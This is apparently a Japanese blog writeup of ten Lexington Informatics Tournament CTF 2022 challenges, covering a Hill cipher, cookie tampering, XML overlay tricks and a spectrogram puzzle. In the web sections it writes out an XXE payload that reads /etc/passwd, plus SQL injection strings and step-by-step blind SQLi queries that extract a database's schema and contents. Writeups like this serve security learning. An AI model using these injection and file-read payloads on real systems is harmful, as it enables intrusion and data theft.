Midnight Monologues

日々勉強したことを書いてきます

Lexington Informatics Tournament CTF 2022 - Writeup

2022年7月22日, 15:00 UTC - 7月25日, 03:59 UTCに開催されたLexington Informatics Tournament CTF 2022 に会社のチームで参加した。 他のチームメンバーの陰で10問解いたので、以下にWriteupを記載する。

Chiper

Running Up That Hill

If I only could, I'd make a deal with god, and I'd get him to swap our places.

attachment : RunningUpThatHill.zip


指定されたURLへアクセスすると添付のようなメッセージが表示される。

ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}

5 19 27
10 19 24
11 6 16

A8FC7A{H7_ZODCEND_8F_CCQV_RTTVHD}


問題文から3×3のHill暗号と予測する。onlineのデコーダにくわせるとflagが確認できる。

flag : LITCTF{B3_RUNN1NG_UP_TH4T_H1LLLL}


Web

Personal Website

CodeTiger
I am Esther Man, a brilliant student at Lexington High School. Welcome to my personal(http://litctf.live:31777/) website <3 <3 <3


指定されたURLへアクセスするとバイオリンと女の子、AmongUsのキャラクターの画像が表示される。


ソースコードを見るとtopページとstyle.cssjavascript.jsにflagが記載されている。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31777/ | grep _
 
 <中略>

        <p>HAHAHAHAHAHAHAHAHAHA I know you will never reach the bottom here because of my infinite scroll. If you somehow did, here is the first third of the half LITCTF{E5th3r_M4n</p>

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31777/style.css | grep _
 
 <中略>

        /* _i5_s0_OTZ_0TZ_OFZ_4t_ */

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31777/javascript.js | grep _ 
 
 <中略>

    // 3v3ryth1ng_sh3_d03s}
    if(Math.random() < 0.5) $("#container").append('<button class="secretButton"><a href="https://www.youtube.com/watch?v=iik25wqIuFo&ab_channel=Rickrol2Cbutwithadifferentlink" class="secret">Click here to see my biggest secret</a></button>');


flag : LITCTF{E5th3r_M4n_i5_s0_OTZ_0TZ_OFZ_4t_3v3ryth1ng_sh3_d03s}



Kevin's Cookies

CodeTiger
Welcome to Kevin Zhu's cookie store!(http://litctf.live:31778/) I heard he sells many super delicious cookies :yum:


指定されたURLへアクセスするとCookieの画像が表示されたWebサイトが表示される。

Cookieを確認するとlikeCookie=falseが設定されている。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31778/
[sudo] kali のパスワード:
*   Trying 159.89.254.233:31778...
* Connected to litctf.live (159.89.254.233) port 31778 (#0)
> GET / HTTP/1.1
> Host: litctf.live:31778
> User-Agent: curl/7.74.0
> Accept: */*
> 

        <div class="bg"></div>
        <h1>Welcome to My (Kevin Zhu) Cookie 🍪 shop!</h1>
        <div class="whiteContainer">
            <br>

            <p>I have so many cookies to share with you. Unfortunately, judging from your current cookies, it seems like you do not like any cookies 🍪 :<. Thus I will not bother giving you any</p>


likeCookie=trueに変えるとメッセージが変わる。1~20の数字のいずれかをlikeCookieに指定すれば良さそうだ。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v -b "likeCookie=true" http://litctf.live:31778/
*   Trying 159.89.254.233:31778...
* Connected to litctf.live (159.89.254.233) port 31778 (#0)
> GET / HTTP/1.1
> Host: litctf.live:31778
> User-Agent: curl/7.74.0
> Accept: */*
> Cookie: likeCookie=true
> 

<!DOCTYPE HTML>
<html>
    <head>
        <title>Kevin Zhu's favorite cookies</title>

        <div class="bg"></div>
        <h1>Welcome to My (Kevin Zhu) Cookie 🍪 shop!</h1>
        <div class="whiteContainer">
            <br>

            <p>Oh silly you. What do you mean you like a true cookie? I have 20 cookies numbered from 1 to 20, and all of them are made from super true authentic recipes.</p>


likeCookieに17を指定した際にflagが表示される。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v -b likeCookie=17 http://litctf.live:31778/
*   Trying 159.89.254.233:31778...
* Connected to litctf.live (159.89.254.233) port 31778 (#0)
> GET / HTTP/1.1
> Host: litctf.live:31778
> User-Agent: curl/7.74.0
> Accept: */*
> Cookie: likeCookie=17
> 

        <div class="bg"></div>
        <h1>Welcome to My (Kevin Zhu) Cookie 🍪 shop!</h1>
        <div class="whiteContainer">
            <br>

            <p>Omg, I too love the 17th cookie. We must share a special connection ❤! Just for you, I will add something special along with the cookie 🍪, here <b>LITCTF{Bd1mens10n_15_l1k3_sup3r_dup3r_0rzzzz}</b>. Don't let the other customers know tho, they won't be happy.</p>
            <img src="https://cwatch.comodo.com/blog/wp-content/uploads/2020/05/what-are-cookies.png" style="width: 100%">


flag : LITCTF{Bd1mens10n_15_l1k3_sup3r_dup3r_0rzzzz}



Guess The Pokemon

Stephanie
Have you heard the new trending game? GUESS THE POKEMON!!!(http://litctf.live:31772/) Please come try out our vast database of pokemons.


指定されたURLへアクセスするとpokemonを検索するWebサイトが表示される。

ソースコードを確認するとフロントエンドがpython+flask、バックエンドがsqlite3のWebサイト構成であり、pokemonテーブル内の何かのpokemonを検索するとflagの値が応答される。検索の際に'(シングルクォート)と(バックスラッシュ)と"(ダブルクォート)はfilterされる。

filterされる文字列を使わずに1 or 1=1 --を入力するとflagが表示された。

flag : LITCTF{flagr3l4t3dt0pok3m0n0rsom3th1ng1dk}


Among Us

CodeTiger
Hello! I am Polopopy, and my friends like to call me Ryan. I have an unhealthy fetichobsession with Among Us, so I made this website(http://litctf.live:31779/) to demonstrate my unyielding enthusiasm!


指定されたURLへアクセスするとAmong USのキャラクターの画像とメッセージが表示される。

ソースコードを確認すると、Secret Link To The Flagというリンクがあるがダミーの動画が表示されるだけだった。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31779/ 

<head>
    <title>I LOVE AMONG US</title>
</head>
<body>
    <div>
        <a style="color: white;font-size: 30px;" href="https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley">Secret Link To The Flag</a><br>
        <h1>About Me</h1>
        <p style="color: magenta; font-size: 20px; font-weight: 600">Hello! I am Polopopy, and my friends like to call me Ryan. I have an unhealthy <s>fetich</s>obsession with Among Us, so I made this website to demonstrate my unyielding enthuasiasm!</p>
        <h1 class="sus">Here is some of my Fan Fiction that I dream about at night.</h1>
        <p class="sus"><b>That's right. I am the IMPOSTER. I just killed my boss. I now had to convince everyone that I wasn't the imposter. "Chad is the imposter!" I randomly yelled out. Another coworker said "Well, I did see him running towards the stairs/elevator. "Wait, think about this!" Chad stated. "How do you know I'm the murderer? It could be him!" "Hmm.." My coworker, John, said. "Why do you think it's him, Darrius?" "Well," I started, "The same reason as you. I saw him running towards the elevator when the killing happened. "Wait, wait, wait!" Angelica proclaimed. "How do we know it happened on the top floor?" Another coworker, Adam, pointed out the window towards the paramedics wrapping up my boss' mangled corpse in a body bag." Oh!" Angelica said." That's a bit sussy," I said. "I think it must have been Angelica, she's pretending she doesn't know anything?" "Hmm, you might be right." My coworker Dave spoke up. "But I think that it might be you, Darrius." "Wait woah woah, why is it me?" I defended myself. He said "I saw you enter the elevator right before the murderer hit!" He said. Shit. he's onto me." Woah, you could be lying! I was in my cubicle doing my office work!" I yelled back." Oh really, what were you doing?" Dave said." I was uh.. scanning for viruses on my computer!" "Hmm.. okay." "I think that we should get rid of Liam." Angelica proclaimed. "Woah woah woah, pretty lady! Why do you think that?" He quickly hopped to his defense. "I haven't been a part of this discussion at all!" "Well, you're pale, and you work on the closest floor to the boss." Angelica replies. "Yeah, that's sus, Liam." I said. "We should get rid of him." "I agree." Chad said." Me too!" Adam said." Me three!" John said. And so we decided to throw him out the window.</b></p>

        <p class="sus"><b>Now let's say hypothetically I was the impostor. How would I get from reactor to medbay in that timespan, from which we saw each other, till you found yellow dead. Also if I were the impostor hypothetically speaking, how would I have finished all my tasks.</b></p>

    </div>
    <div>
        <h1 style="color: yellow">Sussy Yellow</h1>
        <p style="color: magenta; font-size: 20px; font-weight: 600">
            Not gonna lie, yellow do be looking super sussy!!! With how adept he is at the rotating movement and how he's hiding his head, HE MUST BE HIDING SOMETHING!!!!!
        </p>
    </div>
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">

    <div>
        <p class="suspicious">ඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞ</p>


BurpSuiteで処理を追っていたら/sussy-yellow-amogus へGETリクエストを投げた際のheader情報にflagが記載されていた。

flag : LITCTF{mr_r4y_h4n_m4y_b3_su55y_bu7_4t_l3ast_h3s_OTZOTZOTZ}



CTF

CodeTiger
Woah, a Capture The Flag challenge(http://litctf.live:31780/), where players capture each other's flags, in a tournament called Capture The Flag? This is so original :O I do need a break from the standard web anyway I guess.


指定されたURLへアクセスするとCTFdのような画面が表示される。

昨日適当なユーザを作成していたが、プロファイル画面にflagがみえてしまっていた。問題としてはImaginaryCTF 2022のDemocracyと同じ考え方と考えられる。

flag : LITCTF{CTF_1n_a_CTF?_W0AH_TH1S_I5_l1k3_s0_cr34t1v3}



EYANGCH Fan Art Maker

CodeTiger
I am biggest fan of Eyang OTZ OTZ OTZ, which is why I built this EYANGCH Fan Art Maker(http://litctf.live:31775/)


指定されたURLへアクセスするとXML形式のファイルを画像変換するサイトが表示される。


入力欄に何も入力せずにsubmitを押すとflagを含む画像が表示されるが青い太線が邪魔してflag全体が見えないようになっている。


XMLといえばXXEなので以下の入力処理を試してみる

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>


エラーがでて失敗。エラー内容からDOCTYPE element は使えないらしい。


添付ファイルのmain.jsを確認するとPOST処理にてcodeで受け取った処理を最後のgenerateArt(code,res)で画像変換している。 この時のcode = "" + flag + eyangComp + code + "";にてPOST処理で渡すcodeの値は一番最後に指定されており 画像の内容は後から上書きできることが分かる。

require("dotenv").config();

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const ejs = require("ejs");
const {component, parseXML, generateArt} = require("./canvasMaker.js");

app.use(bodyParser.urlencoded({ extended: true }));

app.set('view engine', 'ejs');

app.get('/', (req, res) => {
    res.render("index");
});

app.post('/makeArt', (req, res) => {
    var code = req.body.code;

    var flag = `
<component name="flag">
    <text color="black" font="bold 10pt Arial">` + (process.env.FLAG ?? "ctf{flag}") + `</text>
</component>

<flag x="100" y="400"></flag>
    `;

    var eyangComp = `
<component name="EYANGOTZ">
    <component name="eyes1">
        <line x1="10" y1="80" x2="30" y2="60" color="#1089f5" width="20"></line>
        <line x1="30" y1="60" x2="60" y2="70" color="#1089f5" width="20"></line>
    </component>
    <component name="eyes2">
        <line x1="110" y1="50" x2="130" y2="30" color="#1089f5" width="20"></line>
        <line x1="130" y1="30" x2="160" y2="40" color="#1089f5" width="20"></line>
    </component>
    <component name="mouth">
        <line x1="40" y1="200" x2="50" y2="220" color="#1089f5" width="20"></line>
        <line x1="50" y1="220" x2="190" y2="200" color="#1089f5" width="20"></line>
        <line x1="190" y1="200" x2="200" y2="180" color="#1089f5" width="20"></line>
    </component>
    <text x="30" y="30" font="bold 10pt Arial">EYANG SO OTZ</text>
</component>
<EYANGOTZ x="10" y="50"></EYANGOTZ>
<EYANGOTZ x="350" y="100"></EYANGOTZ>
<EYANGOTZ x="50" y="190"></EYANGOTZ>
<EYANGOTZ x="130" y="200"></EYANGOTZ>
<EYANGOTZ x="200" y="190"></EYANGOTZ>
<EYANGOTZ x="150" y="300"></EYANGOTZ>
    `

    code = "<fanart>" + flag + eyangComp + code + "</fanart>";

    generateArt(code,res);
});

app.listen(8080, () => {
    console.log("EYANG OTZ OTZ OTZ OTZ!!!");
});


ソースコードの値を元に以下を入力してみる。
・お邪魔の青い線の太さを0に
・お邪魔の青い線の色見を白に

<component name="EYANGOTZ">
    <component name="eyes1">
        <line x1="10" y1="80" x2="30" y2="60" color="#FFFFFF" width="0"></line>
        <line x1="30" y1="60" x2="60" y2="70" color="#FFFFFF" width="0"></line>
    </component>
    <component name="eyes2">
        <line x1="110" y1="50" x2="130" y2="30" color="#FFFFFF" width="0"></line>
        <line x1="130" y1="30" x2="160" y2="40" color="#FFFFFF" width="0"></line>
    </component>
    <component name="mouth">
        <line x1="40" y1="200" x2="50" y2="220" color="#FFFFFF" width="0"></line>
        <line x1="50" y1="220" x2="190" y2="200" color="#FFFFFF" width="0"></line>
        <line x1="190" y1="200" x2="200" y2="180" color="#FFFFFF" width="0"></line>
    </component>
    <text x="30" y="30" font="bold 10pt Arial">EYANG SO OTZ</text>
</component>


上記を入力するとflag文字列が確認できるようになる。

flag : LITCTF{wh4t_d03s_CH_1n_EyangCH_m3an???}



EYANGCH Fan Art Maker 2.0

CodeTiger
Unfortunately the last Fan Art maker had an unintended extremely easy solution. Frankly I am disappointed by people's willingness to take the easy route when it comes to ORZing Eyang. To make up for it, here is more EYANG OTZ OTZ OTZ(http://litctf.live:45392/)


EYANGCH Fan Art Maker と全く同じ解き方で解ける。

flag : LLITCTF{3y4ngCH_15_l1k3_ju5t_s0_g3n10sit4}



Amy The Hedgehog

Stephanie
Hi guys! I just learned sqlite3 build my own websiteeee. Come visit my my website(http://litctf.live:31770/) pleaseeee i am ami the dhedghog!!! :3 ( ◡‿◡ *)


指定されたURLへアクセスするとソニック・ザ・ヘッジホッグのエミーの画像が表示される。
ソースコードを確認する。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31770/ 

<html>
  <head>
    <title>Flask Intro - login page</title>
                <style>
                                h1 {text-align: center;}
                                p {text-align: center;}
                                div {text-align: center;}
        h1 { color: #FB4570;}
                                h1 {  font-family: "Apple Chancery" cursive;}

    </style>
  </head>
  <body style="background-color:pink;">
    <div class="container">
                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
      <h1>hi guys welcome to my website i am ami the dhedghog!!! :3 ( ◡‿◡ *) </h1>
      <br>
                        <style>
                                p { color: #FB4570;}
                                p {  font-family: "Apple Chancery" cursive;}
                        </style>
                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
                        <p> ( ◕ᴗ◕✿ ) try to guess my crush!!! (⁄ ⁄•⁄ω⁄•⁄ ⁄)⁄</p>

                        <br>
                        <img src="https://static.wikia.nocookie.net/sonic/images/1/18/TSR_Amy.png" alt = "amy the hedgehog!" height= "200" width = "150">


                        <br>
                        <br>
      <form action="" method="post" >
        <input type="text" placeholder="Guess!!! (⁄ ⁄>⁄ω⁄<⁄ ⁄)⁄" name="name">
        <input type="submit" value="Guess">
      </form>




                        <br>
                                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
    </div>
  </body>
* Connection #0 to host litctf.live left intact
</html>


問題文にあるsqlite3のSQLインジェクションの文字1' or 'a'='a' --を試しに入れると(≧U≦❁) You got it!!! が表示される。


適当なメッセージを入力するとwrong!!! (。•̀ᴗ-)✧が表示される。


つまりBlind SQLインジェクション(≧U≦❁) You got it!!!が表示される条件を検査しながらDB構造を確認する形になる。

以下のSQL文よりDBを構築したsql文は30文字と分かる。

' or ((SELECT length(sql) FROM sqlite_master WHERE type='table' limit 1 offset 0)=30) --


sqlite_masterからsql文を確認するとtable名はnames、カラム名はnameであることが分かる。

' or ((SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' limit 1 offset 0) = hex('C')) --
  ・
  ・

 ↓

CREATE TABLE names (name text)


判明したnamesテーブルの中のnameカラム内のデータは13文字であることが分かる。 中身を同様に1文字ずつ確認するとflagが確認できる。

' or ((SELECT length(name) FROM names)=13) --
' or ((SELECT hex(substr(name,1,1)) FROM names) = hex('L')) --
' or ((SELECT hex(substr(name,2,1)) FROM names) = hex('I')) --
  ・
  ・


flag : LITCTF{sldjf}


Misc

kirby!!!

Stephanie
Kirby is so cool! (Wrap your flag in LITCTF{})

The beginning is very loud so you should turn down your volume.

https://vocaroo.com/12wR27kejDYj

Original song: Green Grounds from Kirby Mass Attack


添付のURLへアクセスするとmp3形式の音楽ファイルをダウンロードできる。
SonicVisualliserでスペクトル分析するとflagが確認できる。

flag : LITCTF{K1RBY1SCOOL!}


感想

  • MURDER MYSTERY zero spaceのコードを見落としていた。残念。
  • EYANGCH Fan Art Maker 3.0 時間切れで解けず。